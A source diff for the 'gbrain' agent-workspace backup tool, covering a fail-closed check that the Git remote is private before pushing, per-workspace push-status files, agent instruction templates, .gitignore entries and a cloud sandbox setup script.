wwwAuthenticate = res.headers.get('www-authenticate') ?? '';
|
||||
githubAttributed = res.headers.has('x-github-request-id');
|
||||
bodyPrefix = (await res.text()).slice(0, 64);
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
} catch (e) {
|
||||
rungs.push({ rung: 'anon-refs', outcome: `network error (${(e as Error).message.slice(0, 80)})` });
|
||||
return { verdict: 'unverifiable', detail: `anonymous probe unreachable (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`, rungs };
|
||||
}
|
||||
|
||||
if (status === 401 || status === 404) {
|
||||
// [D14] attribution required before the push-authorizing PRIVATE verdict.
|
||||
// RFC 7235 makes www-authenticate mandatory on EVERY 401 — a middlebox's
|
||||
// included — so the challenge alone is NEVER proof. github.com origins
|
||||
// require the GitHub request-id header. For NON-github origins there is no
|
||||
// trustable attribution signal at all (a spoofing/inspecting middlebox
|
||||
// 401s identically to a real private server), so a 401 there is
|
||||
// `unverifiable` — the operator confirms via the escape hatch rather than
|
||||
// us laundering a possibly-public repo into a push authorization. Both
|
||||
// adversarial reviewers flagged the prior "challenge ⇒ private" as a
|
||||
// public-repo-exfil path; fail closed.
|
||||
const attributed = gh !== null && githubAttributed;
|
||||
if (attributed) {
|
||||
rungs.push({ rung: 'anon-refs', outcome: `${status} with GitHub-attributed auth challenge (not anonymously readable)` });
|
||||
return {
|
||||
verdict: 'private',
|
||||
via: 'git-protocol',
|
||||
detail: `origin exists, reads with credentials, and refuses anonymous access (${rungLog(rungs)})`,
|
||||
rungs,
|
||||
};
|
||||
}
|
||||
const why = gh !== null
|
||||
? `${status} without GitHub attribution (x-github-request-id) — possible middlebox`
|
||||
: `${status} on a non-github origin — no trustable attribution signal`;
|
||||
rungs.push({ rung: 'anon-refs', outcome: `${why}, not trusted as a privacy signal` });
|
||||
return { verdict: 'unverifiable', detail: `un-attributed ${status} on the anonymous probe (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`, rungs };
|
||||
}
|
||||
|
||||
if (status === 200) {
|
||||
// [D4] advertisement proof required before the "public" verdict.
|
||||
const proven =
|
||||
contentType.toLowerCase().includes(ADVERTISEMENT_CONTENT_TYPE) || ADVERTISEMENT_BODY_RE.test(bodyPrefix);
|
||||
if (!proven) {
|
||||
rungs.push({ rung: 'anon-refs', outcome: '200 without a git advertisement (SSO/login page?) — not trusted as a public signal' });
|
||||
return { verdict: 'unverifiable', detail: `anonymous 200 without advertisement proof (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`, rungs };
|
||||
}
|
||||
if (isCredentialInjectingProxy(env)) {
|
||||
// The "anonymous" request may have been silently authenticated by the
|
||||
// sandbox proxy — a private repo would ALSO read 200 here. Ambiguous.
|
||||
rungs.push({ rung: 'anon-refs', outcome: '200 advertisement behind a credential-injecting proxy — ambiguous' });
|
||||
return {
|
||||
verdict: 'unverifiable',
|
||||
detail: `cannot prove privacy from inside this sandbox's authenticated proxy (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`,
|
||||
rungs,
|
||||
};
|
||||
}
|
||||
rungs.push({ rung: 'anon-refs', outcome: '200 with a git advertisement — anonymously clonable' });
|
||||
return { verdict: 'public', via: 'git-protocol', detail: `origin is anonymously readable (${rungLog(rungs)})`, rungs };
|
||||
}
|
||||
|
||||
rungs.push({ rung: 'anon-refs', outcome: `unexpected HTTP ${status}` });
|
||||
return { verdict: 'unverifiable', detail: `anonymous probe answered HTTP ${status} (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`, rungs };
|
||||
}
|
||||
|
||||
// ── Verdict cache [D11] ─────────────────────────────────────────────────────
|
||||
//
|
||||
// PRIVATE verdicts only, 1h TTL, keyed on the exact origin URL. `public` and
|
||||
// `unverifiable` are NEVER cached: failures must re-verify every push so a
|
||||
// fixed repo unblocks on the next turn, while a private→public flip is
|
||||
// honored at most one TTL late (deliberate owner action; the secret-scan gate
|
||||
// still runs on every push). Kills the per-turn network cost of the
|
||||
// cloud-sandbox debounce-0 push cadence.
|
||||
|
||||
export const VISIBILITY_CACHE_TTL_MS = 60 * 60 * 1000;
|
||||
|
||||
/** Cache key = origin URL with any userinfo (`user:pat@`) stripped — a PAT in
|
||||
* an https remote must never be persisted into the on-disk cache file. */
|
||||
function cacheKey(originUrl: string): string {
|
||||
try {
|
||||
const u = new URL(originUrl);
|
||||
u.username = '';
|
||||
u.password = '';
|
||||
return u.toString();
|
||||
} catch {
|
||||
return originUrl; // scp/ssh/file forms carry no URL userinfo
|
||||
}
|
||||
}
|
||||
|
||||
interface VisibilityCacheEntry {
|
||||
verdict: 'private';
|
||||
via: VisibilityVia;
|
||||
verified_at: string;
|
||||
}
|
||||
|
||||
export function visibilityCachePath(): string {
|
||||
return join(ensureGbrainHome(), 'bootstrap', 'visibility-cache.json');
|
||||
}
|
||||
|
||||
/** A fresh cached PRIVATE verdict for this origin, or null. */
|
||||
export function readCachedPrivateVerdict(
|
||||
originUrl: string,
|
||||
opts: { now?: number; path?: string } = {},
|
||||
): RepoVisibilityVerdict | null {
|
||||
const now = opts.now ?? Date.now();
|
||||
try {
|
||||
const raw = readFileSync(opts.path ?? visibilityCachePath(), 'utf8');
|
||||
const map = JSON.parse(raw) as Record<string, VisibilityCacheEntry>;
|
||||
const entry = map[cacheKey(originUrl)];
|
||||
if (!entry || entry.verdict !== 'private') return null;
|
||||
const at = Date.parse(entry.verified_at);
|
||||
if (!Number.isFinite(at) || now - at > VISIBILITY_CACHE_TTL_MS) return null;
|
||||
return {
|
||||
verdict: 'private',
|
||||
via: entry.via,
|
||||
detail: `verified private ${entry.via === 'rest' ? 'via REST' : 'via git protocol'} at ${entry.verified_at} (cached)`,
|
||||
rungs: [],
|
||||
};
|
||||
} catch {
|
||||
return null; // missing/corrupt cache is a miss, never an error
|
||||
}
|
||||
}
|
||||
|
||||
/** Record a PRIVATE verdict (no-op for any other verdict). Prunes expired
|
||||
* entries; tolerant of a corrupt existing file (starts fresh). */
|
||||
export function writeVisibilityCache(
|
||||
originUrl: string,
|
||||
verdict: RepoVisibilityVerdict,
|
||||
opts: { now?: number; path?: string } = {},
|
||||
): void {
|
||||
if (verdict.verdict !== 'private') return;
|
||||
const now = opts.now ?? Date.now();
|
||||
const path = opts.path ?? visibilityCachePath();
|
||||
let map: Record<string, VisibilityCacheEntry> = {};
|
||||
try {
|
||||
const parsed = JSON.parse(readFileSync(path, 'utf8')) as Record<string, VisibilityCacheEntry>;
|
||||
for (const [k, v] of Object.entries(parsed)) {
|
||||
const at = Date.parse(v?.verified_at ?? '');
|
||||
if (v?.verdict === 'private' && Number.isFinite(at) && now - at <= VISIBILITY_CACHE_TTL_MS) map[k] = v;
|
||||
}
|
||||
} catch {
|
||||
map = {};
|
||||
}
|
||||
map[cacheKey(originUrl)] = { verdict: 'private', via: verdict.via, verified_at: new Date(now).toISOString() };
|
||||
try {
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
const tmp = `${path}.tmp-${process.pid}`;
|
||||
writeFileSync(tmp, JSON.stringify(map, null, 2) + '\n', { mode: 0o600 });
|
||||
renameSync(tmp, path);
|
||||
} catch {
|
||||
/* cache write failure is never an error — next push just re-verifies */
|
||||
}
|
||||
}
|
||||
|
||||
+198
-55
@@ -38,21 +38,33 @@
|
||||
* ahead?} on success AND failure [B4] (doctor + SessionStart digest
|
||||
* read it).
|
||||
*
|
||||
* Remote-privacy gate [G8]: refuses a remote that is not VERIFIABLY private
|
||||
* — `gh repo view --json isPrivate` must answer `true`. Unverifiable
|
||||
* visibility (gh missing/unauthed, non-GitHub host, path remote) is a
|
||||
* refusal with a named reason, never fail-open. Escape hatch for self-hosted
|
||||
* git: `allowUnverifiedRemote` (CLI `--allow-unverified-remote`), logged.
|
||||
* Remote-privacy gate [G8]: refuses a remote that is not VERIFIABLY private.
|
||||
* Verification routes through the repo-visibility LADDER (repo-visibility.ts):
|
||||
* REST first (`gh api repos/...` — never GraphQL, which cloud proxies pin),
|
||||
* then pure git protocol (authed ls-remote + attributed anonymous probe), so
|
||||
* the gate keeps working where gh is broken/blocked. Unverifiable visibility
|
||||
* is a refusal with the per-rung reason, never fail-open. Escape hatches for
|
||||
* self-hosted git you trust, loudly logged, most-portable last: CLI
|
||||
* `allowUnverifiedRemote` > env GBRAIN_ALLOW_UNVERIFIED_REMOTE=1 > file-plane
|
||||
* config `push.allow_unverified_remote` (readable by detached hook children
|
||||
* that can never see a shell export or the DB plane).
|
||||
*/
|
||||
|
||||
import {
|
||||
existsSync, mkdirSync, readFileSync, renameSync, rmSync, statSync, writeFileSync,
|
||||
existsSync, mkdirSync, readdirSync, readFileSync, renameSync, rmSync, statSync, writeFileSync,
|
||||
} from 'fs';
|
||||
import { dirname, join } from 'path';
|
||||
import { createHash, randomBytes } from 'crypto';
|
||||
import { execFileSync } from 'child_process';
|
||||
import { GIT_ENV, GIT_ENV_AUTH, GIT_SSRF_SUBCOMMAND_FLAGS, detectDefaultBranch, divergenceSafePull } from './git-remote.ts';
|
||||
import { loadConfigFileOnly } from './config.ts';
|
||||
import { ensureGbrainHome } from './gbrain-home.ts';
|
||||
import {
|
||||
githubOwnerRepoString,
|
||||
readCachedPrivateVerdict,
|
||||
verifyRepoVisibility,
|
||||
writeVisibilityCache,
|
||||
} from './repo-visibility.ts';
|
||||
import { isProcessAlive } from './pglite-lock.ts';
|
||||
import {
|
||||
loadWorkspaceAllowlist, matchesGlob, pathAllowlisted, scanText,
|
||||
@@ -307,62 +319,170 @@ export type RemotePrivacyVerdict =
|
||||
| { verdict: 'not_private'; detail: string }
|
||||
| { verdict: 'unverifiable'; detail: string };
|
||||
|
||||
/** Parse `owner/repo` out of a github.com remote URL (https or scp-like). */
|
||||
/** Parse `owner/repo` out of a github.com remote URL (https, scp-like, or
|
||||
* ssh://). Back-compat adapter over the canonical repo-visibility parser. */
|
||||
export function parseGithubOwnerRepo(url: string): string | null {
|
||||
let m = /^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(url);
|
||||
if (m) return `${m[1]}/${m[2]}`;
|
||||
m = /^(?:ssh:\/\/)?git@github\.com[:/]([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(url);
|
||||
if (m) return `${m[1]}/${m[2]}`;
|
||||
return null;
|
||||
return githubOwnerRepoString(url);
|
||||
}
|
||||
|
||||
/**
|
||||
* Verify the origin remote is a PRIVATE repo via `gh repo view --json
|
||||
* isPrivate`. Anything short of an affirmative `true` is either
|
||||
* `not_private` (affirmative public) or `unverifiable` (gh missing/unauthed,
|
||||
* non-GitHub host, path/file remote) — the caller refuses both unless the
|
||||
* escape hatch is set [G8: never fail-open].
|
||||
* Verify the origin remote is a PRIVATE repo via the repo-visibility ladder
|
||||
* (REST first, git-protocol fallback — see repo-visibility.ts for the full
|
||||
* verdict matrix). Anything short of a proven `private` is either
|
||||
* `not_private` (proven public) or `unverifiable` — the caller refuses both
|
||||
* unless an escape hatch is set [G8: never fail-open]. Fresh `private`
|
||||
* verdicts are cached (1h TTL, private-only) so the per-turn push cadence
|
||||
* doesn't re-pay the network probes every turn [D11].
|
||||
*/
|
||||
export function verifyRemotePrivacy(root: string): RemotePrivacyVerdict {
|
||||
export async function verifyRemotePrivacy(root: string): Promise<RemotePrivacyVerdict> {
|
||||
const url = tryGit(root, ['remote', 'get-url', 'origin'], { timeoutMs: 10_000 });
|
||||
if (!url) return { verdict: 'unverifiable', detail: 'no origin remote configured' };
|
||||
const ownerRepo = parseGithubOwnerRepo(url);
|
||||
if (!ownerRepo) {
|
||||
return {
|
||||
verdict: 'unverifiable',
|
||||
detail: `origin is not a github.com URL — cannot verify visibility via gh`,
|
||||
};
|
||||
}
|
||||
if (readCachedPrivateVerdict(url) !== null) return { verdict: 'private' };
|
||||
const v = await verifyRepoVisibility({ originUrl: url, repoDir: root });
|
||||
writeVisibilityCache(url, v);
|
||||
if (v.verdict === 'private') return { verdict: 'private' };
|
||||
if (v.verdict === 'public') return { verdict: 'not_private', detail: v.detail };
|
||||
return { verdict: 'unverifiable', detail: v.detail };
|
||||
}
|
||||
|
||||
/** File-plane escape hatch [D18]: `gbrain config set push.allow_unverified_remote true`.
|
||||
* Read tolerantly from ~/.gbrain/config.json — detached hook children never see
|
||||
* a shell export, and the DB plane is unreadable while a serve holds the
|
||||
* single-writer lock, so the file plane is the only channel that always works. */
|
||||
export function configAllowsUnverifiedRemote(): boolean {
|
||||
try {
|
||||
const out = execFileSync(
|
||||
'gh',
|
||||
['repo', 'view', ownerRepo, '--json', 'isPrivate', '--jq', '.isPrivate'],
|
||||
{ stdio: ['ignore', 'pipe', 'pipe'], timeout: 20_000, env: process.env },
|
||||
).toString().trim();
|
||||
if (out === 'true') return { verdict: 'private' };
|
||||
if (out === 'false') return { verdict: 'not_private', detail: `${ownerRepo} is PUBLIC` };
|
||||
return { verdict: 'unverifiable', detail: `gh returned unexpected output: ${out.slice(0, 80)}` };
|
||||
} catch (e) {
|
||||
const err = e as NodeJS.ErrnoException;
|
||||
if (err?.code === 'ENOENT') {
|
||||
return { verdict: 'unverifiable', detail: 'gh CLI not installed — cannot verify repo visibility' };
|
||||
}
|
||||
return {
|
||||
verdict: 'unverifiable',
|
||||
detail: `gh repo view failed (${(err?.message ?? 'unknown').slice(0, 120)})`,
|
||||
};
|
||||
const cfg = loadConfigFileOnly();
|
||||
const v = cfg?.push?.allow_unverified_remote as unknown;
|
||||
return v === true || v === 'true' || v === '1';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── push-status.json [B4] ───────────────────────────────────────────────────
|
||||
|
||||
/** Legacy single-file location (pre-per-root). Read-only compatibility: the
|
||||
* reader consults it only when NO per-root files exist yet (fresh upgrade). */
|
||||
export function pushStatusPath(): string {
|
||||
return join(ensureGbrainHome(), 'bootstrap', 'push-status.json');
|
||||
}
|
||||
|
||||
function writePushStatus(status: { ts: string; ok: boolean; reason?: string; ahead?: number }): void {
|
||||
/** Stable short key for per-root state files [D3/D13]: one gbrain home serves
|
||||
* many bootstrap workspaces, so every push/debounce/announce state file is
|
||||
* keyed by workspace root — a single shared file is last-writer-wins, which
|
||||
* either masks one workspace's failure or defeats another's debounce. */
|
||||
export function workspaceRootHash(root: string): string {
|
||||
return createHash('sha256').update(root).digest('hex').slice(0, 12);
|
||||
}
|
||||
|
||||
export function pushStatusPathForRoot(root: string): string {
|
||||
return join(ensureGbrainHome(), 'bootstrap', `push-status-${workspaceRootHash(root)}.json`);
|
||||
}
|
||||
|
||||
/** One parsed push-status record [D8: one reader, three formatters]. */
|
||||
export interface PushStatusEntry {
|
||||
ts?: string;
|
||||
ok?: boolean;
|
||||
reason?: string;
|
||||
ahead?: number;
|
||||
repoRoot?: string;
|
||||
/** Absolute path of the status file (per-root announce-state keying). */
|
||||
file: string;
|
||||
}
|
||||
|
||||
const PUSH_STATUS_FILE_RE = /^push-status-[0-9a-f]{12}\.json$/;
|
||||
|
||||
/** Tolerant reader over every push-status file (banner, SessionStart note,
|
||||
* and doctor all consume THIS — one parse, one schema owner). Per-root files
|
||||
* win; the legacy global file is consulted only when none exist, so a stale
|
||||
* pre-upgrade record can't shadow live per-root state. */
|
||||
export function readPushStatuses(): PushStatusEntry[] {
|
||||
const dir = join(ensureGbrainHome(), 'bootstrap');
|
||||
const parse = (file: string): PushStatusEntry | null => {
|
||||
try {
|
||||
const s = JSON.parse(readFileSync(file, 'utf8')) as Omit<PushStatusEntry, 'file'>;
|
||||
return { ...s, file };
|
||||
} catch {
|
||||
return null; // torn/corrupt/missing → skip, never throw
|
||||
}
|
||||
};
|
||||
let names: string[] = [];
|
||||
try {
|
||||
const p = pushStatusPath();
|
||||
names = readdirSync(dir).filter((n) => PUSH_STATUS_FILE_RE.test(n));
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
// The legacy file is consulted only when NO per-root FILES exist on disk —
|
||||
// if per-root files exist but are all corrupt, an empty result is the honest
|
||||
// answer (doctor pairs it with pushStatusFilesExist for the loud warn); a
|
||||
// stale pre-upgrade record must never shadow live-but-unreadable state.
|
||||
if (names.length === 0) {
|
||||
const legacy = parse(pushStatusPath());
|
||||
return legacy ? [legacy] : [];
|
||||
}
|
||||
return names
|
||||
.map((n) => parse(join(dir, n)))
|
||||
.filter((e): e is PushStatusEntry => e !== null)
|
||||
// A record whose workspace no longer exists on disk is a ghost: it can
|
||||
// never be cleared by a re-push (the root is gone), so it must not feed
|
||||
// the failure banner / staleness note forever (deleted Conductor
|
||||
// workspaces are routine). Entries without repoRoot (legacy shape in a
|
||||
// per-root file) are kept — absence of evidence is not a ghost.
|
||||
.filter((e) => e.repoRoot === undefined || existsSync(e.repoRoot));
|
||||
}
|
||||
|
||||
/** True when any push-status file exists on disk (parseable or not). The
|
||||
* reader skips corrupt files silently; doctor pairs this with an empty read
|
||||
* to say "status present but unreadable" instead of saying nothing. */
|
||||
export function pushStatusFilesExist(): boolean {
|
||||
const dir = join(ensureGbrainHome(), 'bootstrap');
|
||||
try {
|
||||
if (readdirSync(dir).some((n) => PUSH_STATUS_FILE_RE.test(n))) return true;
|
||||
} catch {
|
||||
/* fall through */
|
||||
}
|
||||
return existsSync(pushStatusPath());
|
||||
}
|
||||
|
||||
/** The per-root status for one workspace, or null. Direct keyed read first —
|
||||
* the scan is only a fallback for legacy records carrying a repoRoot field. */
|
||||
export function readPushStatusForRoot(root: string): PushStatusEntry | null {
|
||||
const keyedPath = pushStatusPathForRoot(root);
|
||||
try {
|
||||
const s = JSON.parse(readFileSync(keyedPath, 'utf8')) as Omit<PushStatusEntry, 'file'>;
|
||||
return { ...s, file: keyedPath };
|
||||
} catch {
|
||||
/* fall through to the scan */
|
||||
}
|
||||
return readPushStatuses().find((e) => e.repoRoot === root) ?? null;
|
||||
}
|
||||
|
||||
/** One aggregation for every status surface (SessionStart note, doctor,
|
||||
* banner counting): the failing entries and the stalest success timestamp. */
|
||||
/** Failure reasons carry remote-influenced text (git stderr → rung log →
|
||||
* push-status.reason). Clamp to a safe printable charset + length before ANY
|
||||
* model- or human-visible surface embeds it (banner, doctor, status blob) so
|
||||
* it can't become an injection or formatting vector — the free-form
|
||||
* counterpart to hook.ts's reasonCode() for typed codes. */
|
||||
export function sanitizePushReason(reason: string | undefined): string {
|
||||
if (!reason) return 'unknown reason';
|
||||
return reason.replace(/[^\x20-\x7E]/g, ' ').replace(/[`$\\]/g, "'").slice(0, 140);
|
||||
}
|
||||
|
||||
export function summarizePushStatuses(entries: PushStatusEntry[]): {
|
||||
failing: PushStatusEntry[];
|
||||
stalestTs: number | null;
|
||||
} {
|
||||
const failing = entries.filter((e) => e.ok === false);
|
||||
const stamps = entries.map((e) => Date.parse(e.ts ?? '')).filter((t) => Number.isFinite(t));
|
||||
return { failing, stalestTs: stamps.length > 0 ? Math.min(...stamps) : null };
|
||||
}
|
||||
|
||||
function writePushStatus(
|
||||
status: { ts: string; ok: boolean; reason?: string; ahead?: number; repoRoot: string },
|
||||
): void {
|
||||
try {
|
||||
const p = pushStatusPathForRoot(status.repoRoot);
|
||||
mkdirSync(dirname(p), { recursive: true, mode: 0o700 });
|
||||
// tmp+rename (the writeReceipt pattern): a concurrent reader never sees a
|
||||
// torn half-written status file.
|
||||
@@ -409,12 +529,14 @@ export async function workspacePush(opts: WorkspacePushOpts): Promise<WorkspaceP
|
||||
|
||||
const finish = (r: WorkspacePushResult): WorkspacePushResult => {
|
||||
// B4: written on success AND failure — only by the lock WINNER (a skip
|
||||
// must not clobber the in-flight run's eventual status).
|
||||
// must not clobber the in-flight run's eventual status). Keyed per root
|
||||
// [D13] so one workspace's success can never mask another's failure.
|
||||
writePushStatus({
|
||||
ts: new Date().toISOString(),
|
||||
ok: r.ok,
|
||||
...(r.reason !== undefined ? { reason: r.reason } : {}),
|
||||
...(r.ahead !== undefined ? { ahead: r.ahead } : {}),
|
||||
repoRoot: root,
|
||||
});
|
||||
return r;
|
||||
};
|
||||
@@ -586,21 +708,42 @@ export async function workspacePush(opts: WorkspacePushOpts): Promise<WorkspaceP
|
||||
reason: 'no origin remote configured — nothing to push to',
|
||||
});
|
||||
}
|
||||
if (opts.allowUnverifiedRemote) {
|
||||
log('WARN: --allow-unverified-remote set — skipping repo-visibility verification');
|
||||
} else {
|
||||
const privacy = verifyRemotePrivacy(root);
|
||||
if (privacy.verdict !== 'private') {
|
||||
const reason =
|
||||
privacy.verdict === 'not_private'
|
||||
? `origin is not private: ${privacy.detail} — refusing to push workspace contents`
|
||||
: `cannot verify origin visibility (${privacy.detail}) — refusing to push. ` +
|
||||
`Pass --allow-unverified-remote for self-hosted git you trust.`;
|
||||
// Escape-hatch resolution [D18], most explicit first: CLI flag > env var >
|
||||
// file-plane config. Every path warns loudly. The hatches downgrade ONLY
|
||||
// the `unverifiable` verdict — the ladder still runs and an affirmatively
|
||||
// PUBLIC origin refuses regardless, matching every piece of user-facing
|
||||
// copy ("for self-hosted git you trust", never "push to public repos").
|
||||
const unverifiedVia = opts.allowUnverifiedRemote
|
||||
? 'the allow-unverified-remote flag'
|
||||
: process.env.GBRAIN_ALLOW_UNVERIFIED_REMOTE === '1'
|
||||
? 'GBRAIN_ALLOW_UNVERIFIED_REMOTE=1'
|
||||
: configAllowsUnverifiedRemote()
|
||||
? 'config push.allow_unverified_remote (sticky — unset it once verification works)'
|
||||
: null;
|
||||
{
|
||||
const privacy = await verifyRemotePrivacy(root);
|
||||
if (privacy.verdict === 'not_private') {
|
||||
const reason = `origin is not private: ${privacy.detail} — refusing to push workspace contents` +
|
||||
(unverifiedVia !== null ? ` (the unverified-remote override via ${unverifiedVia} does NOT cover proven-public origins)` : '');
|
||||
log(`PUSH REFUSED: ${reason}`);
|
||||
return finish({
|
||||
ok: false, status: 'refused_visibility', repoRoot: root, branch, committed, reason,
|
||||
});
|
||||
}
|
||||
if (privacy.verdict === 'unverifiable') {
|
||||
if (unverifiedVia !== null) {
|
||||
log(`WARN: origin visibility unverifiable — pushing anyway via ${unverifiedVia}; you are trusting this remote`);
|
||||
} else {
|
||||
const reason =
|
||||
`cannot verify origin visibility (${privacy.detail}) — refusing to push. ` +
|
||||
`Pass --allow-unverified-remote (or set GBRAIN_ALLOW_UNVERIFIED_REMOTE=1, or ` +
|
||||
'`gbrain config set push.allow_unverified_remote true`) for self-hosted git you trust.';
|
||||
log(`PUSH REFUSED: ${reason}`);
|
||||
return finish({
|
||||
ok: false, status: 'refused_visibility', repoRoot: root, branch, committed, reason,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 6. pull AFTER commit [CX2-7] — a dirty tree is impossible here short of
|
||||
|
||||
@@ -72,7 +72,11 @@ during long work reads as broken.
|
||||
|
||||
**Gate 2 — Recover missed context.** Scan the conversation for earlier messages that
|
||||
never got processed. Before sending the final reply, rescan for anything that
|
||||
arrived mid-turn.
|
||||
arrived mid-turn. On a harness WITHOUT hooks (Codex — pull protocol), also run
|
||||
`gbrain bootstrap status` once at the start of a conversation: it surfaces a
|
||||
failing or stale workspace push that hook-carrying harnesses would have shown
|
||||
automatically. If it reports the push FAILING, tell {{PRINCIPAL_NAME}} plainly —
|
||||
their memory is landing locally but not in the durable repo.
|
||||
|
||||
**Gate 3 — Entity lookup (brain first).** For each real person, project, company, or
|
||||
commitment named in the message, search the brain before answering: `recall` for hot
|
||||
|
||||
@@ -20,3 +20,7 @@ reach is a separate knob — see ACCESS_POLICY.md).
|
||||
over file greps for anything about people, projects, or the past.
|
||||
- Follow the per-message gates in AGENTS.md — especially Gate 3 (brain first) and
|
||||
Gate 7 (write-back, same turn).
|
||||
- Cloud sandbox sessions (fresh clones): if the gbrain MCP tools or hooks are
|
||||
missing, the binary installs via the environment setup script (print it with
|
||||
`gbrain bootstrap cloud-setup-script`), then run `gbrain bootstrap hooks
|
||||
--repair` — committed hooks go live on the NEXT session (startup snapshot).
|
||||
|
||||
@@ -4,12 +4,17 @@ This workspace is durably backed up to **{{GITHUB_REPO_URL}}**. The repository m
|
||||
remain private.
|
||||
|
||||
- **Tracked:** identity files, memory, `brain/`, `skills/`, `state/interview.json`,
|
||||
`state/mcp.json`, schedules.
|
||||
- **Ignored:** credentials, local databases, caches, hook state, transcripts, and
|
||||
schedules.
|
||||
- **Ignored:** credentials, local databases, caches, hook state, transcripts,
|
||||
machine-specific harness wiring (`.mcp.json`, `.claude/settings.local.json`), and
|
||||
anything matching the deny list in `.gitignore`.
|
||||
- **How it syncs:** `gbrain sources push` — a secret-scan-gated commit + push that
|
||||
refuses public remotes. It runs at session end automatically; a 15-minute
|
||||
background job does the same if enabled. Run it by hand after meaningful changes.
|
||||
refuses public remotes. On Claude Code it runs automatically per turn
|
||||
(debounced) and at session end via hooks; on Codex (no hook system) run it at
|
||||
natural stopping points (the AGENTS.md gate reminds you). If background
|
||||
persistence is enabled, a git post-commit hook auto-pushes each commit and a
|
||||
30-minute pull job keeps multi-machine checkouts fresh. Run it by hand after
|
||||
meaningful changes on any harness.
|
||||
- **If a push is blocked:** the scan names the file and pattern out loud. Fix or
|
||||
allowlist deliberately — never force past it silently.
|
||||
- **Honest forget semantics:** git history is append-only. Deleting a line from a
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
#!/bin/bash
|
||||
# gbrain — cloud environment setup script.
|
||||
# Paste this into your cloud environment's setup script (it runs as root
|
||||
# before the session starts; what it writes to disk is snapshot-cached and
|
||||
# reused by later sessions). Printed by: gbrain bootstrap cloud-setup-script
|
||||
set -eu
|
||||
|
||||
# 1. Bun runtime (gbrain runs on bun). Installed VIA npm — bun's own package
|
||||
# fetching is proxy-incompatible in cloud sandboxes; npm's is not.
|
||||
command -v bun >/dev/null 2>&1 || npm install -g bun
|
||||
|
||||
# 2. gbrain from the canonical GitHub source. NEVER `npm install -g gbrain`:
|
||||
# the npm registry package with that name is unrelated squatter code.
|
||||
GBRAIN_DIR=/opt/gbrain
|
||||
# Pinned to latest-stable — the SAME ref the canonical local install uses.
|
||||
if [ ! -d "$GBRAIN_DIR/.git" ]; then
|
||||
git clone --depth 1 --branch latest-stable https://github.com/garrytan/gbrain "$GBRAIN_DIR"
|
||||
else
|
||||
# Fail loud (set -e) on a broken update — never npm-install + run stale code
|
||||
# as root against a half-updated checkout.
|
||||
git -C "$GBRAIN_DIR" fetch --depth 1 origin latest-stable
|
||||
git -C "$GBRAIN_DIR" checkout -q FETCH_HEAD
|
||||
fi
|
||||
cd "$GBRAIN_DIR"
|
||||
# npm (not bun) for dependency fetching — same proxy constraint as above.
|
||||
npm install --no-audit --no-fund
|
||||
|
||||
# 3. PATH-resolved launcher: the repo-committed hook commands and MCP
|
||||
# registration expect `gbrain` on PATH (they are fail-open where it isn't).
|
||||
cat > /usr/local/bin/gbrain <<'LAUNCHER'
|
||||
#!/bin/sh
|
||||
exec bun /opt/gbrain/src/cli.ts "$@"
|
||||
LAUNCHER
|
||||
chmod +x /usr/local/bin/gbrain
|
||||
|
||||
gbrain --version
|
||||
|
||||
# After the session starts, finish wiring INSIDE the session:
|
||||
# gbrain bootstrap status --json # confirms execution_environment: cloud-sandbox
|
||||
# gbrain bootstrap attach # adopt the brain repo this session is opened on
|
||||
# gbrain bootstrap hooks --harness claude-code # committed-carrier hooks (next session picks them up)
|
||||
@@ -27,6 +27,13 @@ state/heartbeat-state.local.json
|
||||
|
||||
# Hook + harness wiring (machine-specific; regenerated by `bootstrap hooks --repair`)
|
||||
.claude/settings.local.json
|
||||
# Backups the hook writers drop next to the committed settings.json — git IS
|
||||
# the backup for the committed carrier, so these must never be committed.
|
||||
.claude/*.bak
|
||||
.claude/*.broken-*
|
||||
# Written by `claude mcp add` at project scope — carries an absolute,
|
||||
# machine-specific binary path that must not land in the repo.
|
||||
.mcp.json
|
||||
|
||||
# Caches, logs, scratch
|
||||
logs/
|
||||
|
||||
@@ -126,7 +126,7 @@
|
||||
"PERSIST_CRON": {
|
||||
"consent": true,
|
||||
"phase": "repo",
|
||||
"question": "Enable background persistence? This installs a 15-minute job that commits and pushes this workspace to your private repo (secret-scan-gated). Declining still persists at session end.",
|
||||
"question": "Enable background persistence? This installs a git post-commit hook that auto-pushes each commit in the background, plus a 30-minute pull job that keeps multi-machine checkouts fresh (on machines with a scheduler). Declining still persists via the per-turn and session-end pushes.",
|
||||
"default": "no",
|
||||
"allowed": ["yes", "no"],
|
||||
"maxLength": 4
|
||||
|
||||
@@ -27,6 +27,13 @@ state/heartbeat-state.local.json
|
||||
|
||||
# Hook + harness wiring (machine-specific; regenerated by `bootstrap hooks --repair`)
|
||||
.claude/settings.local.json
|
||||
# Backups the hook writers drop next to the committed settings.json — git IS
|
||||
# the backup for the committed carrier, so these must never be committed.
|
||||
.claude/*.bak
|
||||
.claude/*.broken-*
|
||||
# Written by `claude mcp add` at project scope — carries an absolute,
|
||||
# machine-specific binary path that must not land in the repo.
|
||||
.mcp.json
|
||||
|
||||
# Caches, logs, scratch
|
||||
logs/
|
||||
|
||||
@@ -76,7 +76,11 @@ during long work reads as broken.
|
||||
|
||||
**Gate 2 — Recover missed context.** Scan the conversation for earlier messages that
|
||||
never got processed. Before sending the final reply, rescan for anything that
|
||||
arrived mid-turn.
|
||||
arrived mid-turn. On a harness WITHOUT hooks (Codex — pull protocol), also run
|
||||
`gbrain bootstrap status` once at the start of a conversation: it surfaces a
|
||||
failing or stale workspace push that hook-carrying harnesses would have shown
|
||||
automatically. If it reports the push FAILING, tell {{PRINCIPAL_NAME}} plainly —
|
||||
their memory is landing locally but not in the durable repo.
|
||||
|
||||
**Gate 3 — Entity lookup (brain first).** For each real person, project, company, or
|
||||
commitment named in the message, search the brain before answering: `recall` for hot
|
||||
|
||||
